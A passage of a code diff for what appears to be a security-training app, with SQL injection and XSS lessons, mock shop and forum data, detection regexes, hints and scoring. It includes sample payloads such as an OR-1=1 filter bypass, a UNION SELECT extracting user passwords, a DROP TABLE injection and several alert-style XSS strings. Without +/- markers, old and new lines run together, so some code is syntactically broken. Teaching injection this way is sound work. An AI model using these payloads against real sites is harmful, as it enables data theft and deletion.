explanation: "🔓 Gut gemacht! Das Anführungszeichen (') zeigt, dass die Abfrage manipuliert werden kann. Du hast entdeckt, dass SQL Injection möglich ist! **Challenge 1 abgeschlossen!**"
};
}
if (lowerInput.includes(';')) {
return {
type: 'MULTIPLE_STATEMENTS',
explanation: '⚠️ Multiple statement injection detected! The semicolon allows execution of additional SQL commands, enabling complex attacks.'
};
}
// Generic injection
return {
type: 'GENERIC',
explanation: '⚠️ SQL injection attempt detected! Special characters in the input could manipulate the query structure.'
type: 'NONE',
explanation: 'Keine SQL Injection erkannt.'
};
}
@@ -155,11 +284,9 @@ class SQLInjectionShopLesson extends LessonModule {
executeSafeQuery(searchTerm) {
const db = this.getMockDatabase();
// Show the safe query with placeholder
const safeQuery = `SELECT * FROM products WHERE name LIKE ?`;
const parameter = `%${searchTerm}%`;
// Execute safe search (treats all input as literal data)
const results = db.products.filter(p =>
p.name.toLowerCase().includes(searchTerm.toLowerCase())
);
@@ -168,41 +295,79 @@ class SQLInjectionShopLesson extends LessonModule {
query: safeQuery,
parameter,
results,
explanation: '✅ Parameterized query used! User input is treated as data only, never as SQL code. Injection is impossible.',
explanation: '✅ Parameterized query verwendet! Benutzereingaben werden als Daten behandelt, nie als SQL-Code. Injection ist unmöglich.',
recordCount: results.length
};
}
// Get interactive data for the SQL shop demo
getInteractiveData(stepId) {
async getInteractiveData(stepId) {
if (stepId === 'shop-demo') {
return {
timerDuration: 600, // 10 minutes
totalChallenges: 3, // Simplified to 3 challenges
database: this.getMockDatabase(),
examples: [
challenges: [
{
label: 'Normal Search',
input: 'laptop',
description: 'Search for products containing "laptop"'
id: 'GENERIC',
difficulty: 'Anfänger',
points: 30,
title: 'SQL Injection entdecken',
hint: "Versuche ein ' (Anführungszeichen) einzugeben"
},
{
label: 'View All Products (OR injection)',
input: "' OR '1'='1",
description: 'Exploit: Returns all products by making condition always true'
id: 'BYPASS_FILTER',
difficulty: 'Anfänger',
points: 40,
title: 'Filter umgehen (alle Produkte zeigen)',
hint: "Verwende: ' OR '1'='1"
},
{
label: 'Extract User Data (UNION)',
input: "' UNION SELECT id, username, password, role, 'LEAKED' FROM users--",
description: 'Exploit: Combines product results with user table data'
},
{
label: 'Destructive Attack (DROP)',
input: "'; DROP TABLE products--",
description: 'Exploit: Attempts to delete the products table'
id: 'UNION_SELECT',
difficulty: 'Fortgeschritten',
points: 80,
title: 'Benutzerdaten extrahieren',
hint: 'Wird nach Challenge 2 freigeschaltet',
isEasterEgg: true
}
]
],
externalResources: [
{
title: 'OWASP SQL Injection',
url: 'https://owasp.org/www-community/attacks/SQL_Injection',
type: 'documentation',
description: 'Grundlagen zu SQL Injection-Angriffen'
},
{
title: 'SQL Tutorial (W3Schools)',
url: 'https://www.w3schools.com/sql/',
type: 'tutorial',
description: 'SQL Grundlagen lernen'
},
{
title: 'SQL Injection Cheat Sheet',
url: 'https://portswigger.net/web-security/sql-injection/cheat-sheet',
type: 'reference',
description: 'Schnellreferenz für SQL Injection'
}
],
schemaInfo: {
tables: ['products', 'users'],
productsColumns: ['id', 'name', 'price', 'category', 'stock'],
usersColumns: ['id', 'username', 'password', 'role']
},
initialHint: {
title: '💡 Einstiegshilfe',
content: 'Du hast erfahren, dass dieser Shop anfällig für SQL Injection ist. Beginne mit einem einfachen Test: Gib ein Anführungszeichen (\') ein und beobachte was passiert. Dann versuche den Filter zu umgehen.',
examples: [
{ label: "Challenge 1", payload: "'", description: "Entdecke die Schwachstelle" },
{ label: "Challenge 2", payload: "' OR '1'='1", description: "Zeige alle Produkte (Filter umgehen)" }
]
}
};
}
return null;
return await super.getInteractiveData(stepId);
}
}
@@ -0,0 +1,462 @@
const LessonModule = require('../base/LessonModule');
/**
* Comprehensive XSS Lesson
* Demonstrates both reflected XSS (URL parameters) and stored XSS (forum comments)
* Features: Variant discovery tracking, hint system, time limits
*/
class XSSComprehensiveLesson extends LessonModule {
constructor(config) {
super(config);
// Track discovered variants per participant
this.discoveredVariants = new Map(); // participantId -> Set of variant types
// Track step start times per participant
this.stepStartTimes = new Map(); // participantId -> timestamp
// Track hints used per participant
this.hintsUsed = new Map(); // participantId -> { stepId: count }
// Maximum time to earn points (15 minutes)
this.MAX_TIME_FOR_POINTS = 15 * 60 * 1000;
// Point deduction per hint
this.HINT_PENALTY = 5;
// Total XSS variants to discover
this.TOTAL_VARIANTS = 9;
}
/**
* XSS variant patterns to discover
*/
getVariantPatterns() {
return [
{ regex: /<script[\s\S]*?>/gi, type: 'SCRIPT_TAG', name: 'Script Tag' },
{ regex: /on\w+\s*=\s*["'][^"']*["']/gi, type: 'EVENT_HANDLER', name: 'Event Handler (quoted)' },
{ regex: /on\w+\s*=\s*[^"\s>]+/gi, type: 'EVENT_HANDLER_UNQUOTED', name: 'Event Handler (unquoted)' },
{ regex: /javascript:/gi, type: 'JAVASCRIPT_PROTOCOL', name: 'JavaScript Protocol' },
{ regex: /<iframe/gi, type: 'IFRAME_TAG', name: 'IFrame Tag' },
{ regex: /<img[^>]+onerror/gi, type: 'IMG_ONERROR', name: 'Image Error Handler' },
{ regex: /<svg[^>]+onload/gi, type: 'SVG_ONLOAD', name: 'SVG Onload' },
{ regex: /<object/gi, type: 'OBJECT_TAG', name: 'Object Tag' },
{ regex: /<embed/gi, type: 'EMBED_TAG', name: 'Embed Tag' }
];
}
/**
* Start interactive step timer
*/
startStepTimer(participantId, stepId) {
const key = `${participantId}-${stepId}`;
if (!this.stepStartTimes.has(key)) {
this.stepStartTimes.set(key, Date.now());
}
return {
started: true,
startTime: this.stepStartTimes.get(key)
};
}
/**
* Check if time limit has been exceeded
*/
isTimeExpired(participantId, stepId) {
const key = `${participantId}-${stepId}`;
const startTime = this.stepStartTimes.get(key);
if (!startTime) {
return false;
}
const elapsed = Date.now() - startTime;
return elapsed > this.MAX_TIME_FOR_POINTS;
}
/**
* Get elapsed time in milliseconds
*/
getElapsedTime(participantId, stepId) {
const key = `${participantId}-${stepId}`;
const startTime = this.stepStartTimes.get(key);
if (!startTime) {
return 0;
}
return Date.now() - startTime;
}
/**
* Get remaining time in milliseconds
*/
getRemainingTime(participantId, stepId) {
const elapsed = this.getElapsedTime(participantId, stepId);
const remaining = this.MAX_TIME_FOR_POINTS - elapsed;
return Math.max(0, remaining);
}
/**
* Detect XSS patterns and return all matching types
*/
detectAllXSSTypes(input) {
const patterns = this.getVariantPatterns();
const detectedTypes = [];
for (const pattern of patterns) {
if (pattern.regex.test(input)) {
detectedTypes.push(pattern.type);
}
}
return detectedTypes;
}
/**
* Detect primary XSS type (first match)
*/
detectXSS(input) {
const types = this.detectAllXSSTypes(input);
return types.length > 0 ? types[0] : null;
}
/**
* Track discovered variant
*/
trackDiscoveredVariant(participantId, variantType) {
if (!this.discoveredVariants.has(participantId)) {
this.discoveredVariants.set(participantId, new Set());
}
const discovered = this.discoveredVariants.get(participantId);
const wasNew = !discovered.has(variantType);
if (wasNew) {
discovered.add(variantType);
}
return {
isNew: wasNew,
discovered: discovered.size,
total: this.TOTAL_VARIANTS,
remaining: this.TOTAL_VARIANTS - discovered.size
};
}
/**
* Get discovery progress
*/
getDiscoveryProgress(participantId) {
const discovered = this.discoveredVariants.get(participantId) || new Set();
const patterns = this.getVariantPatterns();
return {
discovered: discovered.size,
total: this.TOTAL_VARIANTS,
remaining: this.TOTAL_VARIANTS - discovered.size,
variants: patterns.map(p => ({
type: p.type,
name: p.name,
discovered: discovered.has(p.type)
}))
};
}
/**
* Get hint for participant
*/
getHint(participantId, stepId, hintLevel) {
const key = `${participantId}-${stepId}`;
if (!this.hintsUsed.has(participantId)) {
this.hintsUsed.set(participantId, {});
}
const participantHints = this.hintsUsed.get(participantId);
participantHints[stepId] = (participantHints[stepId] || 0) + 1;
const hintCount = participantHints[stepId];
const pointsDeducted = hintCount * this.HINT_PENALTY;
// Hint progression
const hints = {
'xss-demo': [
'Tipp 1: Versuchen Sie HTML-Tags in das URL-Parameter einzufügen',
'Tipp 2: Verwenden Sie <script> Tags oder Event-Handler wie onclick, onerror, onload',
'Tipp 3: Versuchen Sie: <script>alert(1)</script> oder <img src=x onerror="alert(1)">',
'Tipp 4: Andere Varianten: <svg onload="...">, <iframe src="javascript:...">, javascript: Protocol'
],
'forum-demo': [
'Tipp 1: Versuchen Sie bösartigen Code in Kommentare einzufügen',
'Tipp 2: Script-Tags und Event-Handler funktionieren auch in Kommentaren',
'Tipp 3: Versuchen Sie verschiedene HTML-Tags: <script>, <img>, <svg>, <iframe>',
'Tipp 4: Kombinieren Sie Tags mit Event-Handlern: onerror, onload, onclick'
]
};
const stepHints = hints[stepId] || [];
const hintText = stepHints[Math.min(hintCount - 1, stepHints.length - 1)] || 'Keine weiteren Hinweise verfügbar';
return {
hint: hintText,
hintsUsed: hintCount,
pointsDeducted,
totalPointsDeducted: pointsDeducted
};
}
/**
* Analyze XSS payload
*/
analyzeXSS(input) {
const type = this.detectXSS(input);
const explanations = {
'SCRIPT_TAG': {
title: 'Script Tag Injection',
description: '⚠️ Script-Tag erkannt! Kann beliebigen JavaScript-Code ausführen.',
impact: 'Angreifer können Cookies stehlen, das DOM manipulieren, Benutzer umleiten oder beliebiges JavaScript ausführen.',
severity: 'high'
},
'EVENT_HANDLER': {
title: 'Event Handler Injection',
description: '⚠️ Event-Handler-Attribut erkannt! Löst JavaScript bei Benutzerinteraktion aus.',
impact: 'Kann Code ausführen, wenn Benutzer mit dem Element interagieren (Klick, Hover, etc.).',
severity: 'high'
},
'EVENT_HANDLER_UNQUOTED': {
title: 'Event Handler Injection (Unquoted)',
description: '⚠️ Event-Handler ohne Anführungszeichen erkannt!',
impact: 'Kann Code bei Events ausführen.',
severity: 'high'
},
'JAVASCRIPT_PROTOCOL': {
title: 'JavaScript Protocol',
description: '⚠️ JavaScript-Protokoll erkannt! Kann Code beim Klicken ausführen.',
impact: 'Wird oft in href-Attributen verwendet, um JavaScript beim Klicken eines Links auszuführen.',
severity: 'medium'
},
'IFRAME_TAG': {
title: 'IFrame Injection',
description: '⚠️ IFrame-Tag erkannt! Kann bösartige externe Inhalte laden.',
impact: 'Kann Phishing-Seiten oder bösartige Inhalte aus externen Quellen einbetten.',
severity: 'high'
},
'IMG_ONERROR': {
title: 'Image Error Handler',
description: '⚠️ Bild mit onerror-Handler erkannt! Führt JavaScript aus, wenn das Bild nicht geladen werden kann.',
impact: 'Bei ungültiger Bildquelle wird das onerror-Event immer ausgelöst und führt die Payload aus.',
severity: 'high'
},
'SVG_ONLOAD': {
title: 'SVG Onload Handler',
description: '⚠️ SVG mit onload-Handler erkannt! Führt JavaScript beim Laden aus.',
impact: 'SVG-Tags können Inline-Event-Handler enthalten, die sofort ausgeführt werden.',
severity: 'high'
},
'OBJECT_TAG': {
title: 'Object Tag Injection',
description: '⚠️ Object-Tag erkannt! Kann gefährliche Inhalte einbetten.',
impact: 'Kann verwendet werden, um externe Ressourcen zu laden oder Code auszuführen.',
severity: 'medium'
},
'EMBED_TAG': {
title: 'Embed Tag Injection',
description: '⚠️ Embed-Tag erkannt! Kann externe Ressourcen laden.',
impact: 'Kann verwendet werden, um bösartige Plugins oder Inhalte einzubetten.',
severity: 'medium'
}
};
if (type && explanations[type]) {
return {
type,
isXSS: true,
...explanations[type]
};
}
return {
type: null,
isXSS: false,
title: 'Keine XSS erkannt',
description: '✅ Keine XSS-Muster in der Eingabe gefunden.',
impact: 'Diese Eingabe scheint sicher zu sein.',
severity: 'none'
};
}
/**
* Sanitize HTML for safe display
*/
sanitizeHTML(input) {
return input
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');
}
/**
* Test XSS payload (for reflected XSS demo)
*/
testXSSPayload(participantId, payload, stepId = 'xss-demo') {
const analysis = this.analyzeXSS(payload);
const sanitized = this.sanitizeHTML(payload);
// Track all discovered variants
const detectedTypes = this.detectAllXSSTypes(payload);
let progress = this.getDiscoveryProgress(participantId);
if (analysis.isXSS) {
// Track all detected types
detectedTypes.forEach(type => {
const trackResult = this.trackDiscoveredVariant(participantId, type);
progress = trackResult;
});
}
// Check time limit
const timeExpired = this.isTimeExpired(participantId, stepId);
const remainingTime = this.getRemainingTime(participantId, stepId);
return {
originalPayload: payload,
sanitizedPayload: sanitized,
isXSS: analysis.isXSS,
attackType: analysis.type,
attackTitle: analysis.title,
explanation: analysis.description,
impact: analysis.impact,
severity: analysis.severity,
vulnerableURL: `https://example-shop.com/product?name=${payload}`,
safeURL: `https://example-shop.com/product?name=${encodeURIComponent(sanitized)}`,
comparisonHTML: {
vulnerable: `<div class="product-name">${payload}</div>`,
safe: `<div class="product-name">${sanitized}</div>`
},
// Discovery tracking
progress: this.getDiscoveryProgress(participantId),
isNewDiscovery: detectedTypes.length > 0,
// Timing
timeExpired,
remainingTime,
canEarnPoints: !timeExpired
};
}
/**
* Add a comment to the forum (for stored XSS demo)
*/
addComment(participantId, author, content, stepId = 'forum-demo') {
const hasInjection = this.detectXSS(content) !== null;
const analysis = this.analyzeXSS(content);
const sanitized = this.sanitizeHTML(content);
// Track discovered variants
const detectedTypes = this.detectAllXSSTypes(content);
let progress = this.getDiscoveryProgress(participantId);
if (hasInjection) {
detectedTypes.forEach(type => {
const trackResult = this.trackDiscoveredVariant(participantId, type);
progress = trackResult;
});
}
// Check time limit
const timeExpired = this.isTimeExpired(participantId, stepId);
const remainingTime = this.getRemainingTime(participantId, stepId);
return {
id: Date.now(),
author: author || 'Anonymous',
content: content,
sanitizedContent: sanitized,
timestamp: new Date().toISOString(),
hasInjection,
injectionType: analysis.type,
injectionSeverity: analysis.severity,
injectionDescription: analysis.description,
injectionExample: analysis.impact,
// Discovery tracking
progress: this.getDiscoveryProgress(participantId),
isNewDiscovery: detectedTypes.length > 0,
// Timing
timeExpired,
remainingTime,
canEarnPoints: !timeExpired
};
}
/**
* Get interactive data for demo steps
*/
async getInteractiveData(stepId) {
// Reflected XSS demo data
if (stepId === 'xss-demo') {
return {
baseUrl: 'https://example-shop.com/product',
parameterName: 'name',
freeHints: [
'Suchen Sie nach Möglichkeiten, HTML-Code einzufügen',
'Versuchen Sie verschiedene Tags: <script>, <img>, <svg>, <iframe>',
'Event-Handler können auch ohne Tags funktionieren',
'Es gibt insgesamt 9 verschiedene XSS-Varianten zu entdecken'
],
totalVariants: this.TOTAL_VARIANTS,
timeLimit: this.MAX_TIME_FOR_POINTS
};
}
// Stored XSS forum demo data
if (stepId === 'forum-demo') {
return {
forumPost: {
id: 1,
title: 'Willkommen im Sicherheitsforum!',
author: 'Admin',
content: 'Dies ist ein Demonstrationsforum zum Lernen über Stored-XSS-Schwachstellen. Posten Sie gerne Kommentare unten. Versuchen Sie sowohl sichere Kommentare als auch XSS-Payloads, um zu sehen, wie das System sie erkennt.',
timestamp: '2026-02-08T10:00:00Z'
},
initialComments: [
{
id: 1,
author: 'Alice',
content: 'Toller Beitrag! Ich freue mich darauf, mehr über Sicherheit zu lernen.',
timestamp: '2026-02-08T10:05:00Z',
hasInjection: false
},
{
id: 2,
author: 'Bob',
content: 'Danke fürs Teilen dieser Informationen.',
timestamp: '2026-02-08T10:10:00Z',
hasInjection: false
},
{
id: 3,
author: 'Charlie',
content: 'Sehr informativ! Kann es kaum erwarten, die Demos auszuprobieren.',
timestamp: '2026-02-08T10:15:00Z',
hasInjection: false
}
],
freeHints: [
'Versuchen Sie, Code in Kommentare einzufügen',
'Stored XSS bleibt in der Datenbank gespeichert',
'Verwenden Sie ähnliche Techniken wie bei Reflected XSS',
'Es gibt 9 verschiedene Varianten zu entdecken'
],
totalVariants: this.TOTAL_VARIANTS,
timeLimit: this.MAX_TIME_FOR_POINTS
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = XSSComprehensiveLesson;
@@ -0,0 +1,242 @@
const LessonModule = require('../base/LessonModule');
/**
* XSS Deeplink Demo Lesson
* Demonstrates cross-site scripting via URL parameter manipulation
*/
class XSSDeeplinkLesson extends LessonModule {
constructor(config) {
super(config);
}
/**
* Detect XSS patterns in user input
* @param {string} input - User-provided payload
* @returns {string|null} Attack type or null if safe
*/
detectXSS(input) {
const patterns = [
{ regex: /<script[\s\S]*?>/gi, type: 'SCRIPT_TAG' },
{ regex: /on\w+\s*=\s*["'][^"']*["']/gi, type: 'EVENT_HANDLER' },
{ regex: /on\w+\s*=\s*/gi, type: 'EVENT_HANDLER_SIMPLE' },
{ regex: /javascript:/gi, type: 'JAVASCRIPT_PROTOCOL' },
{ regex: /<iframe/gi, type: 'IFRAME_TAG' },
{ regex: /<img[^>]+onerror/gi, type: 'IMG_ONERROR' },
{ regex: /<svg[^>]+onload/gi, type: 'SVG_ONLOAD' },
{ regex: /<object/gi, type: 'OBJECT_TAG' },
{ regex: /<embed/gi, type: 'EMBED_TAG' }
];
for (const pattern of patterns) {
if (pattern.regex.test(input)) {
return pattern.type;
}
}
return null;
}
/**
* Analyze XSS payload and provide educational explanation
* @param {string} input - User-provided payload
* @returns {Object} Analysis result
*/
analyzeXSS(input) {
const type = this.detectXSS(input);
const explanations = {
'SCRIPT_TAG': {
title: 'Script Tag Injection',
description: '⚠️ Script tag detected! This can execute arbitrary JavaScript code.',
impact: 'Attackers can steal cookies, manipulate the DOM, redirect users, or execute any JavaScript.',
severity: 'high'
},
'EVENT_HANDLER': {
title: 'Event Handler Injection',
description: '⚠️ Event handler attribute detected! This triggers JavaScript on user interaction.',
impact: 'Can execute code when user interacts with the element (click, hover, etc.).',
severity: 'high'
},
'EVENT_HANDLER_SIMPLE': {
title: 'Event Handler Injection',
description: '⚠️ Event handler detected! This can trigger JavaScript execution.',
impact: 'Can execute code when specific events occur on the page.',
severity: 'high'
},
'JAVASCRIPT_PROTOCOL': {
title: 'JavaScript Protocol',
description: '⚠️ JavaScript protocol detected! This can execute code when clicked.',
impact: 'Often used in href attributes to execute JavaScript when a link is clicked.',
severity: 'medium'
},
'IFRAME_TAG': {
title: 'IFrame Injection',
description: '⚠️ IFrame tag detected! This can load malicious external content.',
impact: 'Can embed phishing pages or malicious content from external sources.',
severity: 'high'
},
'IMG_ONERROR': {
title: 'Image Error Handler',
description: '⚠️ Image with onerror handler detected! This executes JavaScript when image fails to load.',
impact: 'By using an invalid image source, the onerror event always fires, executing the payload.',
severity: 'high'
},
'SVG_ONLOAD': {
title: 'SVG Onload Handler',
description: '⚠️ SVG with onload handler detected! This executes JavaScript when SVG loads.',
impact: 'SVG tags can contain inline event handlers that execute immediately.',
severity: 'high'
},
'OBJECT_TAG': {
title: 'Object Tag Injection',
description: '⚠️ Object tag detected! This can embed dangerous content.',
impact: 'Can be used to load external resources or execute code.',
severity: 'medium'
},
'EMBED_TAG': {
title: 'Embed Tag Injection',
description: '⚠️ Embed tag detected! This can load external resources.',
impact: 'Can be used to embed malicious plugins or content.',
severity: 'medium'
}
};
if (type && explanations[type]) {
return {
type,
isXSS: true,
...explanations[type]
};
}
return {
type: null,
isXSS: false,
title: 'No XSS Detected',
description: '✅ No XSS patterns found in the input.',
impact: 'This input appears safe.',
severity: 'none'
};
}
/**
* Sanitize HTML for safe display
* @param {string} input - User input
* @returns {string} Sanitized output
*/
sanitizeHTML(input) {
return input
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');
}
/**
* Test XSS payload and return comparison data
* Called via executeLessonAction endpoint
* @param {string} participantId - Participant identifier
* @param {string} payload - User-provided payload to test
* @param {string} stepId - Step identifier
* @param {number} eventLessonId - Event lesson ID for point awards
* @returns {Object} Test results
*/
async testXSSPayload(participantId, payload, stepId, eventLessonId) {
const analysis = this.analyzeXSS(payload);
const sanitized = this.sanitizeHTML(payload);
// Award points based on XSS type discovered
let pointsAwarded = 0;
if (analysis.isXSS && participantId && eventLessonId) {
const pointsMap = {
'SCRIPT_TAG': 35, // Classic script tag
'EVENT_HANDLER': 35, // Event handler
'EVENT_HANDLER_SIMPLE': 30, // Simple event handler
'JAVASCRIPT_PROTOCOL': 25, // JavaScript URL
'IFRAME_TAG': 40, // IFrame injection
'IMG_ONERROR': 35, // Image error XSS
'SVG_ONLOAD': 40, // SVG XSS
'OBJECT_TAG': 30, // Object tag
'EMBED_TAG': 30 // Embed tag
};
pointsAwarded = pointsMap[analysis.type] || 20;
try {
await this.awardPoints(participantId, eventLessonId, pointsAwarded,
`XSS via URL parameter: ${analysis.type}`);
} catch (error) {
console.error('Failed to award XSS points:', error);
}
}
return {
originalPayload: payload,
sanitizedPayload: sanitized,
isXSS: analysis.isXSS,
attackType: analysis.type,
attackTitle: analysis.title,
explanation: analysis.description,
impact: analysis.impact,
severity: analysis.severity,
vulnerableURL: `https://example-shop.com/product?name=${payload}`,
safeURL: `https://example-shop.com/product?name=${encodeURIComponent(sanitized)}`,
comparisonHTML: {
vulnerable: `<div class="product-name">${payload}</div>`,
safe: `<div class="product-name">${sanitized}</div>`
},
pointsAwarded
};
}
/**
* Get interactive data for XSS demo step
* @param {string} stepId - Step identifier
* @returns {Object} Interactive component data
*/
async getInteractiveData(stepId) {
if (stepId === 'xss-demo') {
return {
baseUrl: 'https://example-shop.com/product',
parameterName: 'name',
examples: [
{
label: 'Normal Search',
payload: 'Laptop',
description: 'Safe product search'
},
{
label: 'Script Alert',
payload: '<script>alert("XSS")</script>',
description: 'Classic XSS attack with script tag'
},
{
label: 'Image Onerror',
payload: '<img src=x onerror="alert(1)">',
description: 'XSS via broken image error handler'
},
{
label: 'Event Handler',
payload: '" onload="alert(1)"',
description: 'XSS via event handler injection'
},
{
label: 'SVG Onload',
payload: '<svg onload="alert(1)">',
description: 'XSS via SVG element'
},
{
label: 'JavaScript Protocol',
payload: 'javascript:alert(1)',
description: 'XSS via JavaScript URL protocol'
}
]
};
}
return await super.getInteractiveData(stepId);
}
}
module.exports = XSSDeeplinkLesson;